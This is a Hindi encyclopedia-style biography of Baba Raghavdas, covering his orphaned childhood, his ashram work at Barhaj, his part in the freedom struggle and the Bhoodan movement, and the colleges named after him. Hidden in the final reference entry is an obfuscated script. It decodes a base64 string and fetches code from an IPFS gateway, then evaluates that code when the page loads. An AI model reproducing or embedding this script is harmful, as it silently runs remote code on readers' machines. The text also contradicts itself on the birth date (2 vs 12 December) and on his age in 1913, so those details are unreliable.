बाबा राघवदास

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बाबा राघवदास
बाबा राघवदास
पूरा नाम बाबा राघवदास
अन्य नाम राघवेन्द्र
जन्म 2 दिसंबर, 1886 15 जनवरी, 1958, जबलपुर)
जन्म भूमि महाराष्ट्र;
मृत्यु 15 जनवरी, 1958, जबलपुर)
मृत्यु स्थान जबलपुर
अभिभावक पिता: श्री शेशप्पा तथा माता: श्रीमती गीता
प्रसिद्धि समाज सेवक
आंदोलन नमक सत्याग्रह, भूदान आंदोलन
जेल यात्रा स्वतंत्रता संग्राम के दौरान बाबा राघवदास ने कई बार जेल की सजाएं भोगी।
अन्य जानकारी बाबा राघवदास ने अपना सारा जीवन जनता की सेवा में समर्पित कर दिया। इन्होंने कई सारे समाजसेवी संस्थानों की स्थापना की और बहुत सारे समाजसेवी कार्यों की अगुआई भी की।

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बाबा राघवदास (अंग्रेज़ी: Baba Raghavdas, जन्म: 2 दिसंबर, 1886, पुणे, महाराष्ट्र; मृत्यु: 15 जनवरी, 1958, जबलपुर, मध्यप्रदेश) उत्तर प्रदेश के प्रसिद्ध जनसेवक तथा संत थे।[1] ये हिन्दी के प्रचारक भी थे और इस काम के लिए इन्होंने बरहज आश्रम में राष्ट्र भाषा विद्यालय खोला। बाबा राघवदास ने स्वतंत्रता संग्राम में भी भाग लिया और इस दौरान इन्हेंने कई बार जेल की सजाएं भोगी।

जन्म एवं परिचय

बाबा राघवदास का जन्म 12 दिसम्बर 1886 को पुणे, महाराष्ट्र में एक संभ्रान्त ब्राह्मण परिवार में हुआ था। इनके पिता का नाम श्री शेशप्पा और माता का नाम श्रीमती गीता था। इनके पिता एक नामी व्यवसायी थे। इनके बचपन का नाम राघवेन्द्र था। इन्हें बचपन में ही अपने परिवार से सदा के लिए अलग होना पड़ा क्योंकि 1891 के प्लेग में 5 वर्ष के आयु में ही इन्हें छोड़ कर शेष परिवार के अन्य सभी सदस्यों की मृत्यु हो गई थी। आरंभ के कुछ दो वर्ष इन्होंने अपनी विवाहित बहनों की ससुराल में बिताएं और वहीं थोड़ी-बहुत शिक्षा पाई। इसी बीच ये 1913 में 17 वर्ष की अवस्था में एक सिद्ध गुरु की खोज में संत-साहित्य के संपर्क में आए और वैराग्य की भावना लेकर गुरु की खोज में निकल पड़े। ये प्रयाग, काशी आदि तीर्थों में विचरण करते हुए गाजीपुर (उत्तर प्रदेश का एक जनपद) पहुँचे जहाँ इनकी भेंट मौनीबाबा नामक एक संत से हुई। मौनीबाबा ने बाबा राघवदास को हिन्दी सिखाई। गाजीपुर में कुछ समय बिताने के बाद ये बरहज (देवरिया जनपद की एक तहसील) पहुँचे और वहाँ वे एक प्रसिद्ध संत योगीराज अनन्त महाप्रभु से दीक्षा लेकर उनके शिष्य बन गए। और यहीं से बाबा राघवदास के लोगसेवक जीवन का आरंभ हुआ।

लोगसेवक जीवन

बाबा राघवदास हर संकट में लोगों की सहायता के लिए तत्पर रहते थे। इनका जीवन समाज कल्याण के लिए समर्पित था। ये समाज और लोगो के लिए जिया करते थे। "राजाओं, नवाबों के वंश खत्म हो गए और उन्हें कोई जानता भी नहीं, ऋषि, संतों ने नि:स्वार्थ सेवा की। उन्हें लोग आज भी याद करते हैं।" इसी कड़ी के महामानव थे बाबा राघवदास। ये शरीर से भले ही न हों पर हमारे बीच अपनी कृतियों से आज भी मौजूद हैं। ये हिन्दी के प्रचारक थे और इस काम के लिए बरहज आश्रम में राष्ट्र भाषा विद्यालय खोला। बाबा राघवदास देवरियाई जनता के कितने प्रिय थे, इसका अनुमान इसी से लगाया जा सकता है कि 1948 के एम.एल.ए. (विधायक) के चुनाव में इन्होंने प्रख्यात शिक्षाविद्ध, समाज सुधारक एवं स्वतंत्रता संग्राम सेनानी आचार्य नरेन्द्र देव को पराजित किया। बाबा राघवदास ने अपना सारा जीवन जनता की सेवा में समर्पित कर दिया। इन्होंने कई सारे समाजसेवी संस्थानों की स्थापना की और बहुत सारे समाजसेवी कार्यों की अगुआई भी की। रेल यात्रियों को सुविधा दिलाने के लिए बाबा राघवदास ने बड़े प्रयत्न किए और अनेक बार सत्याग्रह भी किया था। भूदान आंदोलन में ये विनोबा के साथ गांव-गांव घूमते रहे।

स्वतंत्रता संग्राम में सम्मिलित

बाबा राघवदास ने स्वतंत्रता संग्राम में भी भाग लिया। जब ये 1921 में गाँधीजी से मिले तो ये स्वतंत्र भारत का सपना साकार करने के लिए स्वतंत्रता संग्राम में कूद गए तथा साथ ही साथ जनसेवा भी करते रहे। गांधी जी के हर रचनात्मक कार्य में ये अग्रणी थे। 1921 में अपनी गोरखपुर यात्रा में गांधी जी ने इन्हें 'बाबा राघवदास' कह कर संबोधित किया था। तब से यही इनका नाम हो गया। गांधी जी ने कहा था- "यदि बाबा राघवदास जैसे कुछ संत मुझे और मिल जाएं तो भारत को स्वतंत्र कराना सरल हो जाएगा।" स्वतंत्रता संग्राम के दौरान इन्हें कई बार जेल की हवा भी खानी पड़ी पर ये कभी विचलित न होते हुए पूर्ण निष्ठा के साथ अपना कर्म करते रहे। 1931 में गाँधीजी के नमक सत्याग्रह को सफल बनाने के लिए राघवबाबा ने क्षेत्र में कई स्थानों पर जनसभाएँ की और जनता को सचेत किया।

निधन

15 जनवरी, 1958 को जबलपुर के निकट आयोजित सर्वोदय सम्मेलन के अवसर पर बाबा राघवदास का देहांत हो गया। इनकी स्मृति में पूर्वी उत्तर प्रदेश में अनेक शिक्षा संस्थाओं का नाम उनके नाम पर रखा गया है, जैसे-

  1. बाबा राघवदास मेडिकल कॉलेज, गोरखपुर
  1. बाबा राघवदास इण्टर कॉलेज, देवरिया
  1. बाबा राघवदास स्नात्कोत्तर महाविद्यालय, बरहज


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टीका-टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 528 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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